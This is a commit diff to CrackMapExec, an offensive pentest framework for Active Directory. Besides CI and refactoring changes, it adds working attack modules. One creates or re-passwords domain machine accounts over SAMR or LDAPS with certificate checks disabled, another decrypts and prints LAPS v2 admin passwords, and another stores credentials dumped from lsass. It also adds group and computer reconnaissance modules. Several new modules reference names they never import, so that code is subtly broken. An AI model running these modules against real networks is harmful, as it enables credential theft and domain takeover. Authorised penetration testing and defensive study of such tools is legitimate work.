François REYNAUD 2023-07-21 17:03:33 +02:00
commit 6d4731cf93
30 changed files with 905 additions and 189 deletions

View File

@ -9,7 +9,7 @@ on:
jobs:
build:
name: CrackMapExec Tests on ${{ matrix.os }}
name: CrackMapExec Tests for Py${{ matrix.python-version }}
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 4
@ -22,9 +22,14 @@ jobs:
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Install librairies
- name: Install poetry
run: |
pip install .
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install librairies with dev group
run: |
poetry install --with dev
- name: Run the e2e test
run: |
pytest tests
poetry run pytest tests

View File

@ -8,10 +8,11 @@ from cme.loaders.protocolloader import ProtocolLoader
from cme.helpers.logger import highlight
from termcolor import colored
from cme.logger import cme_logger
import importlib.metadata
def gen_cli_args():
VERSION = "6.0.0"
VERSION = importlib.metadata.version("crackmapexec")
CODENAME = "Bane"
parser = argparse.ArgumentParser(description=f"""
@ -112,7 +113,7 @@ def gen_cli_args():
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument(
"target",
nargs="+" if not module_parser.parse_known_args()[0].list_modules else "*",
nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*",
type=str,
help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)",
)

View File

@ -51,8 +51,8 @@ class connection(object):
self.admin_privs = False
self.password = ""
self.username = ""
self.kerberos = True if self.args.kerberos or self.args.use_kcache else False
self.aesKey = None if not self.args.aesKey else self.args.aesKey
self.kerberos = True if self.args.kerberos or self.args.use_kcache or self.args.aesKey else False
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.failed_logins = 0
@ -236,6 +236,7 @@ class connection(object):
secret.append(secret_single)
cred_type.append(cred_type_single)
if len(secret) != len(data): data = [None] * len(secret)
return domain, username, owned, secret, cred_type, data
def parse_credentials(self):
@ -324,6 +325,10 @@ class connection(object):
return False
if self.args.continue_on_success and owned:
return False
# Enforcing FQDN for SMB if not using local authentication. Related issues/PRs: #26, #28, #24, #38
if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "":
self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain")
return False
with sem:
if cred_type == 'plaintext':

View File

@ -28,6 +28,18 @@ from sys import exit
import logging
import sqlalchemy
from rich.progress import Progress
from sys import platform
# Increase file_limit to prevent error "Too many open files"
if platform != "win32":
import resource
file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE))
if file_limit[1] > 10000:
file_limit[0] = 10000
else:
file_limit[0] = file_limit[1]
file_limit = tuple(file_limit)
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
try:
import librlers

View File

@ -13,7 +13,7 @@ from impacket.dcerpc.v5.dcomrt import IObjectExporter
class CMEModule:
name = "ioxidresolver"
description = "Thie module helps you to identify hosts that have additional active interfaces"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False

View File

@ -27,13 +27,17 @@ class CMEModule:
def options(self, context, module_options):
"""
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.context = context
self.regex = re.compile("(https?://.+)")
self.server = None
self.base_dn = None
if module_options and "SERVER" in module_options:
self.server = module_options["SERVER"]
if module_options and "BASE_DN" in module_options:
self.base_dn = module_options["BASE_DN"]
def on_login(self, context, connection):
"""
@ -49,7 +53,7 @@ class CMEModule:
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = ",".join(connection.ldapConnection._baseDN.split(",")[-2:])
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
resp = connection.ldapConnection.search(

307
cme/modules/add_computer.py Normal file
View File

@ -0,0 +1,307 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ldap3
from impacket.dcerpc.v5 import samr, epm, transport
class CMEModule:
'''
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
'''
name = 'add-computer'
description = 'Adds or deletes a domain computer'
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
'''
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
DELETE: Specify DELETE to remove a Computer
CHANGEPW: Specify CHANGEPW to modify a Computer password
Usage: cme smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
cme smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
cme smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
'''
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
if 'DELETE' in module_options:
self.__delete = True
if 'CHANGEPW' in module_options and ('NAME' not in module_options or 'PASSWORD' not in module_options):
context.log.error('NAME and PASSWORD options are required!')
elif 'CHANGEPW' in module_options:
self.__noAdd = True
if 'NAME' in module_options:
self.__computerName = module_options['NAME']
if self.__computerName[-1] != '$':
self.__computerName += '$'
else:
context.log.error('NAME option is required!')
exit(1)
if 'PASSWORD' in module_options:
self.__computerPassword = module_options['PASSWORD']
elif 'PASSWORD' not in module_options and not self.__delete:
context.log.error('PASSWORD option is required!')
exit(1)
def on_login(self, context, connection):
#Set some variables
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
# First try to add via SAMR over SMB
self.doSAMRAdd(context)
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.doLDAPSAdd(connection,context)
else:
exit(1)
def doSAMRAdd(self,context):
if self.__targetIp is not None:
stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
else:
stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_dport(self.__port)
if self.__targetIp is not None:
rpctransport.setRemoteHost(self.__targetIp)
rpctransport.setRemoteName(self.__target)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransport.get_dce_rpc()
servHandle = None
domainHandle = None
userHandle = None
try:
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target,
samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )
servHandle = samrConnectResponse['ServerHandle']
samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
domains = samrEnumResponse['Buffer']['Buffer']
domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))
if len(domainsWithoutBuiltin) > 1:
domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight(u'{}'.format(
'This domain does not exist: "' + self.__domainNetbios + '"'))
logging.critical("Available domain(s):")
for domain in domains:
logging.error(" * %s" % domain['Name'])
raise Exception()
else:
selectedDomain = domain[0]['Name']
else:
selectedDomain = domainsWithoutBuiltin[0]['Name']
samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)
domainSID = samrLookupDomainResponse['DomainId']
if logging.getLogger().level == logging.DEBUG:
logging.info("Opening domain %s..." % selectedDomain)
samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)
domainHandle = samrOpenDomainResponse['DomainHandle']
if self.__noAdd or self.__delete:
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000073:
context.log.highlight(u'{}'.format(
self.__computerName + ' not found in domain ' + selectedDomain))
self.noLDAPRequired = True
raise Exception()
else:
raise
userRID = checkForUser['RelativeIds']['Element'][0]
if self.__delete:
access = samr.DELETE
message = "delete"
else:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)
userHandle = openUser['UserHandle']
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000022:
context.log.highlight(u'{}'.format(
self.__username + ' does not have the right to ' + message + " " + self.__computerName))
self.noLDAPRequired = True
raise Exception()
else:
raise
else:
if self.__computerName is not None:
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight(u'{}'.format(
'Computer account already exists with the name: "' + self.__computerName + '"'))
raise Exception()
except samr.DCERPCSessionError as e:
if e.error_code != 0xc0000073:
raise
else:
foundUnused = False
while not foundUnused:
self.__computerName = self.generateComputerName()
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000073:
foundUnused = True
else:
raise
try:
createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000022:
context.log.highlight(u'{}'.format(
'The following user does not have the right to create a computer account: "' + self.__username + '"'))
raise Exception()
elif e.error_code == 0xc00002e7:
context.log.highlight(u'{}'.format(
'The following user exceeded their machine account quota: "' + self.__username + '"'))
raise Exception()
else:
raise
userHandle = createUser['UserHandle']
if self.__delete:
samr.hSamrDeleteUser(dce, userHandle)
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired=True
userHandle = None
else:
samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)
if self.__noAdd:
context.log.highlight(u'{}'.format(
'Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired=True
else:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
userRID = checkForUser['RelativeIds']['Element'][0]
openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)
userHandle = openUser['UserHandle']
req = samr.SAMPR_USER_INFO_BUFFER()
req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, userHandle, req)
if not self.noLDAPRequired:
context.log.highlight(u'{}'.format(
'Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
finally:
if userHandle is not None:
samr.hSamrCloseHandle(dce, userHandle)
if domainHandle is not None:
samr.hSamrCloseHandle(dce, domainHandle)
if servHandle is not None:
samr.hSamrCloseHandle(dce, servHandle)
dce.disconnect()
def doLDAPSAdd(self, connection, context):
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
'HOST/%s' % self.__computerName,
'HOST/%s.%s' % (self.__computerName, connection.domain),
'RestrictedKrbHost/%s' % self.__computerName,
'RestrictedKrbHost/%s.%s' % (self.__computerName, connection.domain),
]
ucd = {
'dnsHostName': '%s.%s' % (self.__computerName, connection.domain),
'userAccountControl': 0x1000,
'servicePrincipalName': spns,
'sAMAccountName': self.__computerName,
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0')
ldapServer = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = Connection(ldapServer, connection.username + '@' + connection.domain, connection.password)
c.bind()
if (self.__delete):
result = c.delete("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain)
if result:
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
elif result == False and c.last_error == "noSuchObject":
context.log.highlight(u'{}'.format('Computer named "' + self.__computerName + '" was not found'))
elif result == False and c.last_error == "insufficientAccessRights":
context.log.highlight(
u'{}'.format('Insufficient Access Rights to delete the Computer "' + self.__computerName + '"'))
else:
context.log.highlight(u'{}'.format(
'Unable to delete the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
else:
result = c.add("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain,
['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd)
if result:
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
context.log.highlight(u'{}'.format('You can try to verify this with the CME command:'))
context.log.highlight(u'{}'.format(
'cme ldap ' + connection.host + ' -u ' + connection.username + ' -p ' + connection.password + ' -M group-mem -o GROUP="Domain Computers"'))
elif result == False and c.last_error == "entryAlreadyExists":
context.log.highlight(u'{}'.format('The Computer account "' + self.__computerName + '" already exists'))
elif not result:
context.log.highlight(u'{}'.format(
'Unable to add the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
c.unbind()

85
cme/modules/comp_desc.py Normal file
View File

@ -0,0 +1,85 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import sys
class CMEModule:
'''
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
'''
name = 'comp-desc'
description = 'Retrieves computers containing the specified description'
supported_protocols = ['ldap']
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
'''
comp-desc: Specify comp-desc to call the module
DESC: Specify the DESC option to enter your description text to search for
Usage: cme ldap $DC-IP -u Username -p Password -M comp-desc -o DESC="server"
cme ldap $DC-IP -u Username -p Password -M comp-desc -o DESC="XP"
'''
self.DESC = ''
if 'DESC' in module_options:
self.DESC = module_options['DESC']
else:
context.log.error('DESC option is required!')
exit(1)
def on_login(self, context, connection):
# Building the search filter
searchFilter = "(&(objectCategory=computer)(operatingSystem=*"+self.DESC+"*))"
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=['dNSHostName','operatingSystem'],
sizeLimit=0)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
resp = e.getAnswers()
pass
else:
logging.debug(e)
return False
answers = []
context.log.debug('Total no. of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
dNSHostName = ''
operatingSystem = ''
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'dNSHostName':
dNSHostName = str(attribute['vals'][0])
elif str(attribute['type']) == 'operatingSystem':
operatingSystem = attribute['vals'][0]
if dNSHostName != '' and operatingSystem != '':
answers.append([dNSHostName,operatingSystem])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers) > 0:
context.log.success('Found the following computers: ')
for answer in answers:
try:
IP = socket.gethostbyname(answer[0])
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],IP))
context.log.debug('IP found')
except socket.gaierror as e:
context.log.debug('Missing IP')
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],"No IP Found"))
else:
context.log.success('Unable to find any computers with the description "' + self.DESC + '"')

View File

@ -41,6 +41,7 @@ class CMEModule:
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
@ -103,7 +104,7 @@ class NetrDfsAddRootResponse(NDRCALL):
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost):
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
@ -112,6 +113,7 @@ class TriggerAuth:
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:

View File

@ -46,6 +46,7 @@ class CMEModule:
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
)
dce, rpctransport = lsa.connect()
policyHandle = lsa.open_policy(dce)
@ -54,7 +55,7 @@ class CMEModule:
for service in product["services"]:
try:
lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.display(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
if product["name"] not in results:
results[product["name"]] = {"services": []}
results[product["name"]]["services"].append(service)
@ -64,7 +65,7 @@ class CMEModule:
except Exception as e:
context.log.fail(str(e))
context.log.display(f"Detecting running processes on {connection.host} by enumerating pipes...")
context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...")
try:
for f in connection.conn.listPath("IPC$", "\\*"):
fl = f.get_longname()
@ -124,6 +125,7 @@ class LsaLookupNames:
kdcHost="",
lmhash="",
nthash="",
aesKey="",
):
self.domain = domain
self.username = username
@ -133,6 +135,7 @@ class LsaLookupNames:
self.doKerberos = k
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.dcHost = kdcHost
def connect(self, string_binding=None, iface_uuid=None):
@ -154,7 +157,7 @@ class LsaLookupNames:
# Authenticate if specified
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)

View File

@ -0,0 +1,100 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
class CMEModule:
'''
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
'''
name = 'group-mem'
description = 'Retrieves all the members within a Group'
supported_protocols = ['ldap']
opsec_safe = True
multiple_hosts = False
primaryGroupID = ''
answers = []
def options(self, context, module_options):
'''
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: cme ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
cme ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
'''
self.GROUP = ''
if 'GROUP' in module_options:
self.GROUP = module_options['GROUP']
else:
context.log.error('GROUP option is required!')
exit(1)
def on_login(self, context, connection):
#First look up the SID of the group passed in
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
searchResult = doSearch(self, context, connection, searchFilter, attribute)
#If no SID for the Group is returned exit the program
if searchResult is None:
context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
return True
# Convert the binary SID to a primaryGroupID string to be used further
sidString = connection.sid_to_str(searchResult).split("-")
self.primaryGroupID = sidString[-1]
#Look up the groups DN
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "distinguishedName"
distinguishedName = (doSearch(self, context, connection, searchFilter, attribute)).decode("utf-8")
# Carry out the search
searchFilter = "(|(memberOf="+distinguishedName+")(primaryGroupID="+self.primaryGroupID+"))"
attribute = "sAMAccountName"
searchResult = doSearch(self, context, connection, searchFilter, attribute)
if len(self.answers) > 0:
context.log.success('Found the following members of the ' + self.GROUP + ' group:')
for answer in self.answers:
context.log.highlight(u'{}'.format(answer[0]))
# Carry out an LDAP search for the Group with the supplied Group name
def doSearch(self,context, connection,searchFilter,attributeName):
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=[attributeName],
sizeLimit=0)
context.log.debug('Total no. of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
attributeValue = '';
try:
for attribute in item['attributes']:
if str(attribute['type']) == attributeName:
if attributeName == "objectSid":
attributeValue = bytes(attribute['vals'][0])
return attributeValue;
elif attributeName == "distinguishedName":
attributeValue = bytes(attribute['vals'][0])
return attributeValue;
else:
attributeValue = str(attribute['vals'][0])
if attributeValue is not None:
self.answers.append([attributeValue])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
pass
except Exception as e:
context.log.debug("Exception:", e)
return False

View File

@ -147,7 +147,15 @@ class CMEModule:
self.reset = None
self.reset_dumped = None
self.method = None
@staticmethod
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_computers(connection.host)[0][0]
if password is not None:
credential_type = 'plaintext'
else:
credential_type = 'hash'
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
def options(self, context, module_options):
"""
METHOD Method to use to dump lsass.exe with lsassy
@ -222,6 +230,7 @@ class CMEModule:
]
)
credentials_output.append(cred)
self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
global credentials_data
credentials_data = credentials_output

View File

@ -3,7 +3,7 @@
import json
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from cme.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
class CMEModule:
"""
@ -49,21 +49,35 @@ class CMEModule:
for computer in results:
msMCSAdmPwd = ""
sAMAccountName = ""
values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in computer["attributes"]}
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't" " support the decryption...")
return
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(
bytes(msMCSAdmPwd),
connection.username if connection.username else "",
connection.password if connection.password else "",
connection.domain,
connection.nthash if connection.nthash else "",
connection.kerberos,
connection.kdcHost,
339)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
r = json.loads(values["mslaps-password"])
laps_computers.append((values["samaccountname"], r["n"], r["p"]))
r = json.loads(str(values["mslaps-password"]))
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "ms-mcs-admpwd" in values:
laps_computers.append((values["samaccountname"], "", values["ms-mcs-admpwd"]))
laps_computers.append((str(values["samaccountname"]), "", str(values["ms-mcs-admpwd"])))
else:
context.log.fail("No result found with attribute ms-MCS-AdmPwd or" " msLAPS-Password")
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
laps_computers = sorted(laps_computers, key=lambda x: x[0])
for sAMAccountName, user, msMCSAdmPwd in laps_computers:
context.log.highlight("Computer: {:<20} User: {:<15} Password: {}".format(sAMAccountName, user, msMCSAdmPwd))
for sAMAccountName, user, password in laps_computers:
context.log.highlight("Computer:{} User:{:<15} Password:{}".format(sAMAccountName, user, password))
else:
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !")

View File

@ -128,6 +128,8 @@ class CMEModule:
credz_bh = []
domain = None
for cred in credentials:
if cred["domain"] == None:
cred["domain"] = ""
domain = cred["domain"]
if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
domain = connection.domain # slim shady

View File

@ -45,6 +45,7 @@ class CMEModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe=self.pipe,
do_kerberos=connection.kerberos,
@ -195,6 +196,7 @@ def coerce(
domain,
lmhash,
nthash,
aesKey,
target,
pipe,
do_kerberos,
@ -232,6 +234,7 @@ def coerce(
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if target_ip:

View File

@ -56,6 +56,7 @@ class CMEModule:
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)

View File

@ -45,6 +45,7 @@ class CMEModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
@ -62,6 +63,7 @@ class CMEModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
)
@ -194,6 +196,7 @@ class CoerceAuth:
domain,
lmhash,
nthash,
aesKey,
target,
pipe,
doKerberos,
@ -215,6 +218,7 @@ class CoerceAuth:
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
dce.set_credentials(*rpctransport.get_credentials())

View File

@ -27,6 +27,7 @@ class CMEModule:
"""
self.showservers = True
self.base_dn = None
if module_options and "SHOWSERVERS" in module_options:
if module_options["SHOWSERVERS"].lower() == "true" or module_options["SHOWSERVERS"] == "1":
@ -35,6 +36,8 @@ class CMEModule:
self.showservers = False
else:
print("Could not parse showservers option.")
if module_options and "BASE_DN" in module_options:
self.base_dn = module_options["BASE_DN"]
name = "subnets"
description = "Retrieves the different Sites and Subnets of an Active Directory"
@ -43,16 +46,20 @@ class CMEModule:
multiple_hosts = False
def on_login(self, context, connection):
dn = ",".join(["DC=%s" % part for part in connection.domain.split(".")][-2:])
dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
context.log.display("Getting the Sites and Subnets from domain")
list_sites = connection.ldapConnection.search(
searchBase="CN=Configuration,%s" % dn,
searchFilter="(objectClass=site)",
attributes=["distinguishedName", "name", "description"],
sizeLimit=999,
)
try:
list_sites = connection.ldapConnection.search(
searchBase="CN=Configuration,%s" % dn,
searchFilter="(objectClass=site)",
attributes=["distinguishedName", "name", "description"],
sizeLimit=999,
)
except LDAPSearchError as e:
context.log.fail(str(e))
exit()
for site in list_sites:
if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True:
continue

View File

@ -292,8 +292,7 @@ class ldap(connection):
# Re-connect since we logged off
self.create_conn_obj()
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
self.output_filename = self.output_filename.replace(":", "-")
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
@ -738,17 +737,20 @@ class ldap(connection):
try:
if self.ldapConnection:
self.logger.debug(f"Search Filter={searchFilter}")
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)
resp = self.ldapConnection.search(
searchFilter=searchFilter,
attributes=attributes,
sizeLimit=sizeLimit,
searchControls=[paged_search_control],
)
return resp
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
# We should never reach this code as we use paged search now
self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:

View File

@ -29,7 +29,7 @@ class MSSQLEXEC:
if output:
cme_logger.debug(f"Output is enabled")
for row in command_output:
cme_logger.display(row)
cme_logger.debug(row)
# self.mssql_conn.printReplies()
# self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
# self.mssql_conn.printRows()

View File

@ -133,8 +133,7 @@ class rdp(connection):
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"])
self.logger.extra["hostname"] = self.hostname
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
self.output_filename = self.output_filename.replace(":", "-")
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
break
if self.args.domain:

View File

@ -234,8 +234,7 @@ class smb(connection):
pass
self.os_arch = self.get_os_arch()
